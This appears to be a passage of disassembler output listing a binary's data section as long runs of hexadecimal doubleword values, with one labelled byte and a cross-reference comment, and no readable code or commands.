		dd 75BFFB41h, 0D05AE100h, 8AF1F848h, 0F4FC397Fh, 0E2FAD200h
		dd 0A43B720Ah, 0CB119712h, 84004016h, 0C04F256Dh, 91E5608Ch
		dd 6AB92D98h, 0A39DC700h, 129B81D1h, 49793B03h,	9F51F92h
		dd 2880A474h, 0CF78B4F6h, 4FACE202h, 0E47B9017h, 0A2510C70h
		dd 31F81F73h, 11BA9B01h, 4CF6BC3Eh, 248ACFF4h, 1942456h
		dd 0ECDC69F7h, 58EA8514h, 30A21D7Ch, 0CD01B138h, 43EF8939h
		dd 8A03D832h, 0CB539304h, 8C88B795h, 0D5B604E9h, 83214B1Dh
		dd 0FA8625Dh, 180CE7CFh, 0B8F20DB0h, 7148B9h, 0DB38C2C0h
		dd 0A2F1278h, 0E67880A3h, 9F7A1E19h, 0CDB2BC03h, 6B5481ADh
		dd 5C5EC204h, 14EEF940h, 0A89E02A2h, 362C81EBh,	820BE8D1h
		dd 72F4C7h, 988D2F74h, 0B060FAE2h, 6A621479h, 806096FFh
		dd 98160397h, 0BF002942h, 59DB9CCFh, 0AD43D6h, 21C31A82h
		dd 4EC0FA0Bh, 0FF8F4F06h, 0B090573Ch, 0DC240340h, 279855Ch
		dd 0C0F0C2ECh, 5671AB22h, 3E2103B0h, 0A1F67A49h, 29DCB700h
		dd 0FC2A5888h, 521905E1h, 96BD6h, 89ACFAD5h, 685E8D7Ch
		dd 95692430h, 9412505Eh, 93F829CBh, 59948188h, 0C4A645D5h
		dd 0C325FFD9h, 13DC442Ah, 0C9C70Fh, 0B6258451h,	0AA004215h
		dd 0BE0ED826h, 37EE2C2h, 0E762F4CDh, 0E398CC48h, 909FEC69h
		dd 0EF85B10h, 8B75E5A6h, 0C12CBF20h, 0E0029DCFh, 0FA623D96h
		dd 46D0C816h, 37E12CC3h, 6E44028h, 0E9F6521Fh, 2CE83348h
		dd 0CC00AB61h, 49E6271Ah, 88939742h, 1BB866B0h,	54056000h
		dd 0DE6146Ah, 2EE11684h, 14EC1818h, 0AD5CC73Dh,	5D50017h
		dd 2EF11150h, 7659F23Bh, 731E0358h, 7120A22Fh, 0C91F87A8h
		dd 566FB701h, 0DFA0338Bh, 74D9E042h, 0B4822D5Ch, 0D0D27919h
		dd 7302F175h, 0B0B9FF37h, 0C7D4C117h, 493054D2h, 0FD80F465h
		dd 2AA65F6Dh, 0ED1B04CCh, 0CC51E6E5h, 0A4B10354h, 0BA0AA028h
		dd 105EE1D3h, 9C803490h, 638CE2C4h, 57877096h, 64D9FDCFh
		dd 0B49B0018h, 0D650BAE7h, 6B1ECD0Bh, 6E5D2B14h, 0F5365601h
		dd 2040698Ch, 0F6DA03ECh, 988744FAh, 784884E2h,	1E825077h
		dd 80B7F800h, 722B4019h, 62A03DB2h, 11821B3Eh, 0A6E92753h
		dd 627A5A41h, 22D10018h, 92F7A2ADh, 38D500F3h, 162B23BFh
		dd 4A121E5Bh, 5C002528h, 60266286h, 3DE0983Ch, 7DA21378h
		dd 883DF8E0h, 2BE58924h, 822689BCh, 4094D0F4h, 1668FAB4h
		dd 21A1CAE8h, 0E00F4A6Ch, 5F013F55h, 6BE11EEDh,	0B7CDEF3Ch
		dd 78BD048h, 0D20F81A8h, 0F84C4065h, 3800BFB8h,	210DC48Dh
		dd 33E23D4h, 7EBD64CFh,	97E35314h, 78F446E1h, 5F809D14h
		dd 5CDD1BCFh, 225000DEh, 0D05827C0h, 0E80BB564h, 64F8C914h
		dd 0C04709F4h, 68185023h, 80002560h, 66933C1h, 78D377A1h
		dd 5820E5CDh, 0CF6400B6h, 0EFC82360h, 8C028EFFh, 0A56D900Ah
		dd 16B87C44h, 7ED8A017h, 0C944DE7Fh, 6C0F00B7h,	0B367B87h
		dd 1B021A93h, 5F267F86h, 147263h, 24D4BBBh, 0FEF1067h
		dd 0DAD71A00h, 0ED91011Bh, 513202AEh, 64E1B7A6h, 1338A4D1h
		dd 0E8E29DBCh, 0F658E601h, 0D8DB77ABh, 1AE015A3h, 2F17DE00h
		dd 0F4E2E7A9h, 2E1D0CFDh, 0A2B1F5D9h, 3FA2801h,	4F990490h
		dd 0C4D2CEh, 0B1C93837h, 0FBF4EBD4h, 9D86C005h,	0C88FF20h
		dd 87701D14h, 0F23642ECh, 0F858EFE0h, 0FC9C9516h, 0C9AD98D0h
		dd 0A0BD004Eh, 2F42EB52h, 4701A4FDh, 2212C8D7h,	2421072Ah
		dd 80EA09E8h, 0B007A378h, 0C1D6F0F9h, 5CE6653Fh, 80004C13h
		dd 8D8060A1h, 6CDB4566h, 0A8280418h, 90E812A7h,	88D5C7Dh
		dd 91DAC800h, 275EE8B3h, 9066172Dh, 5C0908h, 0F1258B2Dh
		dd 2086312h, 9E4FC016h
		dd 95594802h, 0C1ECA019h, 3DD56D64h, 0A78B3116h, 78401FE0h
		dd 5C52E1C4h, 0B04901CCh, 887E9A1h, 28642462h, 6844E5FBh
		dd 44C18714h, 0D7C00FA7h, 790CB19h, 0E6097810h,	2A516D5Fh
		dd 0A7CFA820h, 3EF30E42h, 3223D2E2h, 0F1AB3070h, 18AFC788h
		dd 7C20A84Ah, 0A520E0h,	716A4E9Ah, 27EF162h, 0DC40FB4Ah
		dd 0AD2DF57Dh, 0CC1E050Eh, 0C0D9BD18h, 72F33486h, 98004498h
		dd 0ADB31A51h, 1FFA5815h, 5A002F1h, 0B890E1B8h,	0CF6B0B50h
		dd 8A0852Eh, 450648Ch, 64C7865h, 0C8D28035h, 0A600816Dh
		dd 0AAD5B88Dh, 2C480AF7h, 409C09E5h, 0A55B11CBh, 0A67B4B16h
		dd 144C4200h, 3D5D9C5Ch, 0AC00B119h, 0F9A2598Ch, 43ED663h
		dd 2D568F08h, 0C83B81C7h, 223B84FCh, 0C920D4C4h, 277F349h
		dd 31549F8Eh, 85687CDh,	4A535D40h, 3C2D4810h, 3567FF0Eh
		dd 4E479080h, 9805E5D3h, 97822C5Eh, 52B4C8h, 0C7CF6094h
		dd 0EE9D506Fh, 6298909Dh, 69E0007Ah, 676CE973h,	3A02B1A1h
		dd 9FD8AA28h, 91050CFh,	5FE12274h, 7EAC92h, 748C440h, 7A1806FEh
		dd 286D4F61h, 87228842h, 454E0200h, 0D9EDD883h,	663E24FEh
		dd 1D3029EEh, 95CC8150h, 0C412F31Fh, 0E11F5FAEh, 9D02B4EFh
		dd 54628D66h, 0F0718048h, 0A090E612h, 3C881A4Ah, 0F3D91DB7h
		dd 0D25F0713h, 57E210DFh, 7209DA90h, 0E8FB0191h, 6ABEA0h
		dd 82EAD9B9h, 3DA3D06Fh, 424F3Dh
		db 15h,	1Fh, 4Ah
byte_582323	db 11h			; DATA XREF: ___:off_44486Co
		dd 171D735h, 549EFD88h,	0F82B0CC7h, 5CB91E12h, 0E6804A9Dh
		dd 0DFF1C6Fh, 7D87017Fh, 0E8363A63h, 270078ADh,	67A000D9h
		dd 15867Fh, 0F9F0B11Ch,	0EF290A79h, 8B312C00h, 328CA1D3h
		dd 9E3E0B15h, 2C794905h, 6AB7C884h, 2071D882h, 0B359F403h
		dd 0BB6EFB12h, 401E1008h, 0E444AE51h, 0F9080F0Bh, 0B47402CAh
		dd 191960DCh, 0EB1014C1h, 1780E0FEh, 0E5CC6428h, 0D422AF00h
		dd 489B6DDAh, 8BCF0119h, 1771BC9Dh, 0C39A2h, 0FD8F8ABEh
		dd 2BA2991h, 3AB604E6h,	90520F88h, 2948E127h, 0BC0F0BCh
		dd 3C41AF64h, 924C1098h, 0C9A30E00h, 0ABBC7CA7h, 0ED9E0082h
		dd 58197661h, 16485AB2h, 0E90971E0h, 0D1328778h, 0EB030018h
		dd 880FD86Eh, 530AF500h, 827084C8h, 8B422622h, 0EDA200A4h
		dd 0B7769451h, 65001C91h, 0FF1F63D5h, 2DC5EEAAh, 0E020A271h
		dd 42DB1CE2h, 76CF23Eh,	10457B07h, 8831701h, 0F90ECC40h
		dd 3C1A48E8h, 2079B616h, 0F7A1D584h, 0D8573000h, 53B72CA7h
		dd 0A9EE0B8Ch, 400819Eh, 9C12CC78h, 6B0FFAEEh, 25149A5Fh
		dd 0C437B6B3h, 5259D720h, 2D38EED9h, 0E064530Fh, 0BC562C07h
		dd 0B11778DAh, 0F80DCBD0h, 896616DBh, 0E0602459h, 0FA4B0A3Ch
		dd 1436CC8h, 6419B55Ah,	20234890h, 0EA00BD68h, 0AC65C1F9h
		dd 173E3DA8h, 43EBE0C3h, 51D45F8Ch, 0D15DB4E1h,	408ACD0Ah
		dd 0F9FDA5C8h, 0FA010099h, 8E69BE4h, 0C864E0A7h, 56E57207h
		dd 47402D26h, 1C119Dh, 6DCEC9B9h, 0A46305F9h, 0FCC8035Bh
		dd 0AF1D008Ah, 7A72B0ABh, 7D00246Fh, 0DBCB76B1h, 24995998h
		dd 0E0846D8Dh, 93275231h, 4B134675h, 0C8206E8Dh, 3EF587ECh
		dd 1912EBCFh, 6B2000A2h, 2108A33Bh, 3C908C5Bh, 0F96C4Dh
		dd 0B7BF775h, 332B6135h, 7D8E85Ch, 8872111Ch, 805249h
		dd 8D1A3B59h, 4FCC651Fh, 0C9531100h, 0A77D2A45h, 66B606CBh
		dd 801F837Fh, 96840548h, 0A1C7FC07h, 0F36113h, 0C4695840h
		dd 8A048042h, 73B49095h, 0E80702DAh, 97C61160h,	87EFF0C0h
		dd 0DF7A680Fh, 64D867DDh, 0A5F08E11h, 17124A20h, 0C9B96DB6h
		dd 4C91DC24h, 31D69D00h, 90B8CB66h, 140F0041h, 7BB693A2h
		dd 0EE00FCDEh, 157244AAh, 243BE9F6h, 49641788h,	1A00A051h
		dd 54F5D88Bh, 2012026Bh, 62162F51h, 93E9FE0h, 3B303900h
		dd 49D375BEh, 487169F0h, 6A474010h, 68BE602h, 5EB401C9h
		dd 42D34428h, 27B3FF72h, 48EED0E0h, 4B9BC5Ah, 0C439DF80h
		dd 2457A9Bh, 0B09DDDCBh, 876EE96h, 0AE40DB47h, 156105h
		dd 0CAED8923h, 6F5113CBh, 8D10B300h, 0D2C2908Eh, 0DD5D0B47h
		dd 0D4F0151Fh, 0F4B1C798h, 3EBDB800h, 16E62BAEh, 1A527D2h
		dd 4AE99309h, 6619CC39h, 4080CC9Eh, 1BDF1BFh, 29A912F7h
		dd 0EC8D0188h, 8A845DE6h, 84368751h, 0D23EE760h, 0A1F011F8h
		dd 3CD40080h, 207DC82Bh, 220A3CE6h, 0D85A850Eh,	5BF30EEh
		dd 0C04D5304h, 0CB1502E4h, 46D3E325h, 2A5C02C8h, 572022C2h
		dd 0D01E38DAh, 803FD956h, 1A736028h, 60E24111h,	1D769905h
		dd 909552E6h, 12E5C3C0h, 0FE8F7Bh, 26CEBD54h, 0AB138BE8h
		dd 0D420FBC8h, 31DDFD9h, 0E9475D49h, 45D0E230h,	3E25A97Dh
		dd 0E1C8407Ch, 8CB01478h, 0CD83F0F5h, 0A0E894F9h, 6D092DC5h
		dd 0F9058804h, 0E21168h, 0A109B6EDh, 0F93DDAh, 0FD29A2E3h
		dd 70421DD4h, 0D4FAB829h, 0A018F700h, 34B8245h,	2A237EF1h
		dd 19A92867h, 52B29AA5h, 40C05661h, 5648728Eh, 0F2FF4717h
		dd 0B40B9900h, 7E3F60Eh, 6DDD08F1h, 807A46h, 7C1E7FAFh
		dd 20B56324h, 942F7D30h, 3F0F0FE8h, 1722EA56h, 94601E16h
		dd 7917D62Ch, 1492FDE2h, 187CE27Fh, 0AC064B0h, 9123355h
		dd 36003F78h, 7CCA3070h, 9707A6E6h, 9A54C9C4h, 0E14B9032h
		dd 84C29214h, 0ACC441B9h, 9DCA2840h, 53438AD3h,	7A008C36h
		dd 453209F7h, 52014263h, 5F91AE98h, 182D79FAh, 0F2757B01h
		dd 0DB40BCE0h, 0E6492580h, 0B30B8CFAh, 6B0911D3h, 8FC7B010h
		dd 0A30D03CDh, 9A895F38h, 0C7936AAh, 9635500h, 5083CCBCh
		dd 9C1ABE14h, 0CA7801A4h, 2F65F969h, 86C78C34h,	3B2592D0h
		dd 0C9DA0BACh, 8479D852h, 7A1DA800h, 0E2460E4h,	0A5DA7531h
		dd 8D599CA0h, 30BFDA9h,	0E8FC93CBh, 0F1F0Ch, 0CC52664Ah
		dd 1E2990E1h, 9D00C577h, 265EAE2Ah, 91A26214h, 635980B8h
		dd 52476C69h, 0B3A4B700h, 450CD1Eh, 1D4DEE6Ah, 0C1129BF8h
		dd 390C5DC2h, 0C9BE60A8h, 94CCC409h, 0CAC40430h, 9A67CC0h
		dd 953100E9h, 68C9177Dh, 3A015B60h, 0F714F11Fh,	41F0CF4Ah
		dd 51C7456h, 87EA1E5Ch,	145CC819h, 12068D1Dh, 0F7157300h
		dd 0F6A80Ch, 0D989FB94h, 881A5BF4h, 64D2194Ah, 0DCFAB7h
		dd 996F6C97h, 7A018F63h, 0D265FA05h, 0A489F9D9h, 0D84F4h
		dd 4F11EBCBh, 92DF5556h, 508CF803h, 0A9C89F34h,	0A610DD62h
		dd 4CB8EBA4h, 0AE1E7709h, 9CB068F9h, 563800AAh,	3D9F1ABEh
		dd 3E00D9A8h, 3260EFC8h, 16EA4C58h, 0BA05211h, 780BED68h
		dd 0E69ACC18h, 230F0909h, 3A74E418h, 0D2807268h, 0A194A411h
		dd 418BB53h, 0C158DA9Dh, 8008B927h, 0C03D2484h,	413F524Ch
		dd 77730013h, 0FAAA9625h, 448C0090h, 0F26F75F4h, 2E78EB7Fh
		dd 98947104h, 5FC2031Dh, 0E1CF1C6h, 0B643116Bh,	8ED82973h
		dd 5F12A091h, 14ACE9F1h, 0D87B90Bh, 51E1CC48h, 0F880B094h
		dd 40958E93h, 0EC24B094h, 77F7678h, 0D46398B9h,	7B504068h
		dd 0B10D3B82h, 0A25759E9h, 7125448h, 3FE44E13h,	0AD892028h
		dd 730E4F86h, 0F88C1E17h, 1F0CBAA1h, 47460F4Eh,	9E9906B8h
		dd 9FBB3E02h, 0F4554760h, 6414B090h, 75462AFh, 0E9CAF65Ch
		dd 0DA4E4810h, 0A8A1D8Eh, 2765007Ah, 7B92BD40h,	0CCF87424h
		dd 96DCCC03h, 7DC28011h, 200F5B88h, 0D8EFE214h,	29F95D04h
		dd 0D0A23251h, 0A230007Bh, 0E52A6586h, 4500F922h, 8EC21195h
		dd 12B45735h, 90FC7E87h, 0BD1BEEF4h, 7A3A9D00h,	1771D58Fh
		dd 0FB13391Dh, 215CE613h, 8B431664h, 98202AD0h,	6136C8h
		dd 47AF1240h, 2456C709h, 80529402h, 46C0E2B4h, 34210010h
		dd 0B7D56383h, 0AFF09ECCh, 1C941F00h, 0E1CFA56Fh, 9D7F017Eh
		dd 1433DD90h, 31F4C9EEh, 0E40DC539h, 0FC0006B2h, 0C43B4E1Ah
		dd 5F14A28Dh, 0AC5482E0h, 0BC5CF858h, 8C032E14h, 14E058h
		dd 92569DB9h, 0D83EB8B5h, 40C00758h, 5202AEDDh,	6FD0AA4h
		dd 0C7AC7E6Fh, 90A74803h, 0F5891A0h, 6705F08Dh,	8A9FBDC0h
		dd 7774EB80h, 6DC52E09h, 0FEB0389Dh, 0BFE50581h, 8CCB041Eh
		dd 9E01FDA4h, 46931086h, 4EE87AB8h, 739901BFh, 0C90FC765h
		dd 148832DEh, 89BCF48Dh, 45AF9h, 485F4BB9h, 0EC144711h
		dd 8F00CCE4h, 598BF904h, 968E5089h, 0A06C1234h,	50B88C58h
		dd 0F4706905h, 4CB84108h, 0F16589C7h, 29A1E9F9h, 1140050h
		dd 0F398A5E0h, 0D4D016Ch, 28C0252Dh, 0ADBE8027h, 0CC53BE6Fh
		dd 4F550ACAh, 540941h, 67E427A0h, 45002590h, 0BCF9AF40h
		dd 0A02EA8BDh, 4E5AFDF0h, 19D88854h, 94844D02h,	66C50429h
		dd 0C7FC08h, 0FDDD93A7h, 30CA69FCh, 0D5901400h,	3DBB395h
		dd 0A4827C73h, 0C7640AF8h, 11E0B618h, 0B4225E29h, 6660D5EFh
		dd 360016DEh, 0DA80DB9Eh, 9033175Eh, 65A42662h,	0F43C0163h
		dd 41B7D666h, 0F0C51968h, 0C00F59Ch, 3330586Dh,	0B5FFE723h
		dd 0E5E08093h, 0FC02722Fh, 713AF5Bh, 40E87E92h,	680A5399h
		dd 3E235003h, 0A86F7273h
		dd 3E3AABE9h, 7BF20486h, 7890BF5Ah, 0A6006C01h,	3003EF0Fh
		dd 0D9F439h, 938919B6h,	5290F8CBh, 2FF7C724h, 0EFB7C90Fh
		dd 0C841C17Fh, 0E868DD88h, 2F1E3A80h, 0D50073DBh, 879B7F6Eh
		dd 1CC918ACh, 0DDA4B253h, 6B74047h, 14430B30h, 83084BDh
		dd 3E8D4520h, 19334E04h, 44A99018h, 64BFC183h, 3CCC48B8h
		dd 0C5023CBEh, 57638D6Ah, 7AC4B498h, 91F78507h,	0DEB280F4h
		dd 0C06626h, 6F52AF7Eh,	95536932h, 6B2F875Ch, 347081h
		dd 11D56241h, 86F957A2h, 206139CFh, 10B73EEEh, 0B3F98EDh
		dd 9C78BE0Ah, 8CE00984h, 8D017C68h, 35041DDAh, 5D84168h
		dd 2D3E0087h, 7BF1D281h, 2E0058BBh, 0E3900313h,	8C8ED5h
		dd 799C9F8Bh, 0DBCC200Dh, 0E84440B0h, 9E5D004Fh, 7265031Ch
		dd 520340CEh, 60E6395Bh, 6CA1586Fh, 0B01496C7h,	40546450h
		dd 6515BB00h, 0B34ED468h, 0AE120980h, 3CF84BDBh, 4460749Ch
		dd 79E2DAh, 80A5D213h, 0FA8B0405h, 145702Ch, 0D4E1DB00h
		dd 5B14117Eh, 33E090FBh, 37010998h, 46A270F1h, 15ECC886h
		dd 0BF3A00AEh, 4FE4C7C3h, 56131E8Eh, 0FCE20D67h, 3E251700h
		dd 7543F0CBh, 5DBE1C00h, 0F30F56DFh, 32AFE8FEh,	97A0A66Ah
		dd 3098205Ah, 3F98317Fh, 0DB00309Ah, 0E9E15DA8h, 76F70317h
		dd 0F2041EE0h, 0E367008Bh, 727D83D3h, 0AC5C97FAh, 0EFB4CF8Ch
		dd 12FBC0C6h, 3DAA9E91h, 0FE6F0Eh, 42376A4Eh, 7F920A3Bh
		dd 0EAE4F817h, 50B27412h, 0AD580800h, 8D94E0FEh, 11925104h
		dd 58986290h, 0FE912C9Ah, 4C0276Ch, 7C27B631h, 601C101Ah
		dd 8D9700BCh, 0C1298373h, 8104A885h, 0C790E642h, 856DA4C2h
		dd 0C88292D4h, 0D9E8C088h, 4442794h, 80AAB8A0h,	2C00FD3Fh
		dd 78FF7B77h, 0BC5F850h, 0F9270134h, 0B3DCC410h, 4E219600h
		dd 95E412C3h, 4D4900FBh, 0ED5DB44Ch, 3024EB07h,	0C43B3CE9h
		dd 7E4830E1h, 4D6FB141h, 0E4416A25h, 325B03DCh,	6C8F931Eh
		dd 20FA9AA0h, 0B0DBA400h, 0B2E89C0h, 0F58700D5h, 14CF580Ah
		dd 15EE15Bh, 107A3049h,	74117FCh, 9393BEBh, 26864236h
		dd 0EC1A8060h, 8097F606h, 3D8982FCh, 4300AF3Ah,	0D9AC2B86h
		dd 95587CD7h, 9E3E07D4h, 52506E72h, 32247Fh, 3B4FD9C4h
		dd 0FF36F209h, 0F8EBEE24h, 9550A42Eh, 0C99800BFh, 0F56C99D9h
		dd 62277718h, 88441Fh, 8E875130h, 0E94DBF3Dh, 3CACEA09h
		dd 1059EBh, 0FC5C27F3h,	0F000C936h, 8CCF187Dh, 586D3119h
		dd 0F6179CCDh, 1A4DC77h, 8B000AE9h, 0EA13922Fh,	72E019D0h
		dd 0FBF2430Bh, 45BA0311h, 888A9CAh, 7425D873h, 0A70070E4h
		dd 0DFC4DBBCh, 39E0FD82h, 6C9E5269h, 28C1CFF7h,	8AC66865h
		dd 0CE701FF4h, 0A5046987h, 0F2F0E232h, 0F4EC00C0h, 0F52F4AA2h
		dd 44E414F6h, 2BE51A03h, 0A82890E1h, 7493F3F4h,	0C8020048h
		dd 4505B3C9h, 5302143Ah, 0A9F107A2h, 4024D48Bh,	0AF6D2F84h
		dd 0E71CE400h, 356AD48Ah, 724F1FDCh, 5C644062h,	0FB111E12h
		dd 0AC036091h, 0C0506AEAh, 0EAA3F04h, 0A4422C10h, 749CA620h
		dd 472D1317h, 16C60B5h,	1FB42FADh, 503DA444h, 53D024Ah
		dd 558875B6h, 0D48123E2h, 604DFC60h, 0A34F59F0h, 0D81CC830h
		dd 4AB831h, 9B75A7E8h, 0C146B4ACh, 16EF03Fh, 0C8EB17E1h
		dd 0FCCC88F4h, 32CE131Eh, 0F4A221h, 27623ED6h, 7F4995h
		dd 43D018E9h, 0D9925283h, 56C6111Ch, 275D5A00h,	9599EEh
		dd 20070271h, 0EA4039B4h, 4488744Ah, 49F0007Bh,	67EB7F9Eh
		dd 132CCC0Ah, 0B400C26Fh, 0A0C3FEB9h, 64665885h, 61E8B005h
		dd 2E50E141h, 1C000DE8h, 9E971242h, 1F167003h, 0A00806C3h
		dd 87E685D4h, 0E188880Fh, 11A07800h, 563F292Bh,	418B0033h
		dd 19F6F832h, 18905190h, 0FFF4891Dh, 9A00B35Dh,	4D943B87h
		dd 0D61504B2h, 8C93C251h, 317DF1B4h, 0D3BD2305h, 77C006EFh
		dd 9784DD5h, 494F27FFh,	0FA408C74h, 596C44h, 0BBB4BFC3h
		dd 0F6D22E5Fh, 9FC41D00h, 0CAF85873h, 7B8D274Ch, 0F05954A9h
		dd 3185E201h, 3C238903h, 79EE6C00h, 0CD3DC571h,	0FD8E9100h
		dd 8E290DEh, 948DF4DDh,	0CBA3809Ch, 0A5888EB6h,	3E7FCA1Ch
		dd 0B0B52F41h, 7C2061DAh, 391702C7h, 148C03CDh,	531C8CD1h
		dd 0D787A41Eh, 470EB21h, 0BA3529Bh, 7220DA15h, 0AA4BB818h
		dd 92690700h, 0D6872DEAh, 2B300EDh, 7342F0D0h, 7800971Bh
		dd 482B2072h, 4C1EC750h, 0A21624CAh, 8BE600A1h,	0D73262E2h
		dd 0E888895Ah, 0AE9F0078h, 8E9D525Bh, 0F7008F67h, 6F7C0E26h
		dd 12CF1E07h, 4250F41Fh, 7F97D594h, 2B0863C0h, 0C4F9F802h
		dd 0E078409Dh, 0F77184h, 0FF53CE92h, 27770516h,	0F5471404h
		dd 0FC80120Dh, 4CD4083h, 0F665F750h, 0CF388072h, 60DC0261h
		dd 56FCF504h, 445D1EFEh, 0EC6B0458h, 18738020h,	74E9E61h
		dd 2BC5102Ch, 0FAB692FFh, 0EB805074h, 13D09F75h, 0CB00015h
		dd 51D509FBh, 0CF020502h, 5AE6A5D1h, 0FD188004h, 70254Ch
		dd 58DA7139h, 0B10D16B4h, 2A128D35h, 5B0348E4h,	0D90CC061h
		dd 0C0F68890h, 13A6F20Dh, 203A3CA5h, 4E2C9FD4h,	64EDD919h
		dd 0CAEC7F7Ah, 439D0197h, 0B606CB19h, 80A82820h, 62F1486Ah
		dd 8D1E005Fh, 915636AAh, 0E6001889h, 111AB678h,	16346958h
		dd 0B4F0C8ECh, 0E803F320h, 14E70C04h, 8C262E72h, 0C08D4028h
		dd 455FDABEh, 0F68088h,	0C2E03E20h, 0BE93A968h,	0EF884F00h
		dd 5FF9E2BFh, 4DDA09B7h, 3CD6621Ah, 5C70CC01h, 0A7CCC915h
		dd 409214F6h, 0E116C880h, 9C28C851h, 1E7C100h, 0F5D6F4B6h
		dd 226E4B8Ch, 0C8ECCA7Ch, 0BF80819Fh, 0B46CFDC8h, 8F822A3h
		dd 0AD00ED7Ch, 48B63F4Eh, 15DAEC4h, 7A411033h, 50BA9F83h
		dd 8FAFB374h, 0F8CAA900h, 7C33197h, 0EC40A88Dh,	8325C4Ch
		dd 4EA4FE24h, 0BFD557C0h, 89038BD8h, 735F1522h,	521A89Ah
		dd 51CB0417h, 0B2461694h, 64571DB4h, 60DA2900h,	0E8066Ch
		dd 0D370F11h, 7903201Ah, 61922427h, 8AE015D4h, 3223019Bh
		dd 9F4BB257h, 7C6DFCh, 0C9F3BC84h, 2805A459h, 0B090BBE5h
		dd 79908220h, 38ED00A0h, 32E6F50Ch, 18162C09h, 0FD4C4AAh
		dd 65C08F2h, 8B10F960h,	0B90E6A99h, 0FF7F3F51h,	425B25C0h
		dd 7BCF1C2h, 8C238946h,	1D7E6343h, 80AD14F1h, 0B98ED920h
		dd 933846h, 4FBC357Fh, 0C33F08AAh, 0CE0403Bh, 8D4944Bh
		dd 0D898002Ch, 0AD71A0B3h, 0F07E3C9h, 0EDAE670Bh, 4CE61601h
		dd 76CD5C0h, 8EB38C49h,	963C434Ah, 3C9841D6h, 69B74E0Eh
		dd 369DC557h, 0CBB0C6C0h, 0D54D003Dh, 4EF3E6D6h, 53E576Ch
		dd 0D8D700B7h, 8FE96173h, 3DE86Bh, 58BFE7DEh, 60411EF6h
		dd 50C1ED30h, 0EB37B05h, 59BDB906h, 0F0A21760h,	4D22F647h
		dd 7AC10069h, 0B2393A6Bh, 19C0CF8Dh, 0F5FAE8D5h, 425A050Ch
		dd 1544F04h, 1D63BE18h,	1B51E829h, 0D82C4800h, 47D7C9EFh
		dd 90160C96h, 40C0DFC2h, 39565830h, 6E8B4h, 135792Bh, 79C66A1h
		dd 97AAE700h, 6150E1E9h, 81AF69EEh, 0DACE4100h,	4270471Bh
		dd 1F2A9278h, 1E1F940Bh, 88C65AB0h, 615E5Bh, 0B44B1066h
		dd 3E532CC1h, 0F0769A00h, 0CABC4E48h, 3A170116h, 3C5AFD47h
		dd 0F4498510h, 0AC206D4Dh, 0C1585340h, 0BE7638C8h, 8480EE17h
		dd 0C81EDDF2h, 751CB100h, 3A11FFE9h, 74C0A03Eh,	40876030h
		dd 0BB0DC069h, 2BD4000h, 0B5CA5F16h, 6E6B825h, 1FE76FBFh
		dd 720079F8h, 0C4DB808Eh, 7AB2BDh, 13BB7FAAh, 862916C9h
		dd 0C21DF200h
		dd 0AC9FD74Fh, 0D6BF3F9Eh, 0B4AAB13Eh, 0D0A63790h, 0F48880B9h
		dd 11C60E3Ah, 199831h, 3ED3F82Eh, 14D98A4Fh, 7BBFDC0Eh
		dd 19813FADh, 0CEEEACC0h, 0B05F5180h, 3C78CC20h, 0A6BF921Fh
		dd 28498998h, 58500041h, 4940AB9Dh, 0DA7C63ADh,	0D6C680A0h
		dd 60F3E13Eh, 0E6CFB749h, 3BF71B4h, 0A3D53C3Dh,	0C0788B53h
		dd 0C7A840F3h, 0C8016E21h, 0B74869Ch, 0A1F065D2h, 0A68439ECh
		dd 5800BCA2h, 60D36F87h, 48A9406Bh, 0A00C9B5Bh,	0E6487D39h
		dd 5A69C20Eh, 50AC3509h, 0E9004064h, 42FE6285h,	0A46E38F5h
		dd 353D24F0h, 16C600A8h, 0FF285A51h, 0B3EE39C6h, 0DCAC00C1h
		dd 60CE53E1h, 2A05C4FAh, 7D13168Bh, 7E91C600h, 33E9AEE2h
		dd 0F459584Fh, 0E4F325B9h, 0E40134C8h, 16FE9B39h, 42F21EABh
		dd 0D1DC0F02h, 6D8CD73Ah, 5D11CDEDh, 14895803h,	0FBF381FEh
		dd 0C0ECFA27h, 49B236C4h, 1E80C888h, 32C1907Eh,	2D7383Ch
		dd 48F71DE0h, 9290812Ah, 30E822DBh, 74A0A8B0h, 6D2D00FDh
		dd 7068D26Eh, 0E700DF35h, 7644D8E8h, 0E8BEF4A2h, 55D002B7h
		dd 7325A02h, 92DE88A0h,	0F4601EF5h, 0CDD95311h,	604F0730h
		dd 10141151h, 0DB46D6F5h, 824DC024h, 0EE7E8E05h, 7FBE6C00h
		dd 45FAABh, 27961DBh, 70A92D7Dh, 8F40ED1Dh, 90882600h
		dd 67245A64h, 0B5F46901h, 0ACAC545Ch, 74AEE4C3h, 9FA06498h
		dd 1C05637Eh, 0CFCB778Bh, 0C200E684h, 43E93976h, 88A60104h
		dd 1FC9738Fh, 2D59AC13h, 89A18A00h, 3F419CFh, 74152A6h
		dd 88A03A59h, 3030DFBBh, 0A70A71B1h, 0EE8C009Ah, 51F579A1h
		dd 0F00AB43h, 0AAA63F2Dh, 0C0A4EDE8h, 0CD3BA0E9h, 74007236h
		dd 98453AE9h, 9A0CB128h, 0E8881FE0h, 5AA6CEFCh,	50583923h
		dd 367EE103h, 0D04BD74Dh, 246BF42Eh, 0B0373Eh, 0F10DB3A1h
		dd 0B56387B2h, 1D535869h, 80AF3639h, 0B3929A12h, 3405FDD4h
		dd 5F267416h, 4698DA00h, 1643406Dh, 0E9243Dh, 387BD618h
		dd 42E591B2h, 0C2205A28h, 621B33h, 0BE2812C8h, 0C62E830Ch
		dd 8F550101h, 6AF2D6D4h, 75087832h, 9E8E9830h, 2AAD4134h
		dd 9AFC790Eh, 3EF50159h, 7870CAE5h, 815C62ECh, 10022FD6h
		dd 3D008432h, 79BE4B71h, 32CACDDh, 530F620Fh, 2BBBC0F4h
		dd 18CC8F9Bh, 4036B340h, 45E678D5h, 78CF052h, 7F136F84h
		dd 0EE623990h, 4519C0BBh, 11619729h, 8EDFB901h,	10AED0AAh
		dd 1D439420h, 0D82D4BD2h, 4C7589F5h, 0D15A6C00h, 0AE3EE1ABh
		dd 0FF930596h, 406FB523h, 48ED6814h, 9407508Ah,	0F6B0869Bh
		dd 56A21370h, 334E0121h, 0F4614F2Ch, 0B7898049h, 0E91EF1D6h
		dd 0AFD3264Bh, 0B4C90E40h, 0CA8AA681h, 909CDCDFh, 3DCC8100h
		dd 305AE03Fh, 1171D211h, 4C82A0ECh, 706026AEh, 0C418C18Dh
		dd 4A69B0EDh, 0DCFA0008h, 3FF7352h, 9C03779Fh, 705CE8B8h
		dd 0E1CFA06Eh, 0B0B1EDh, 7EEE357Bh, 0AC7FBED7h,	5655A67Eh
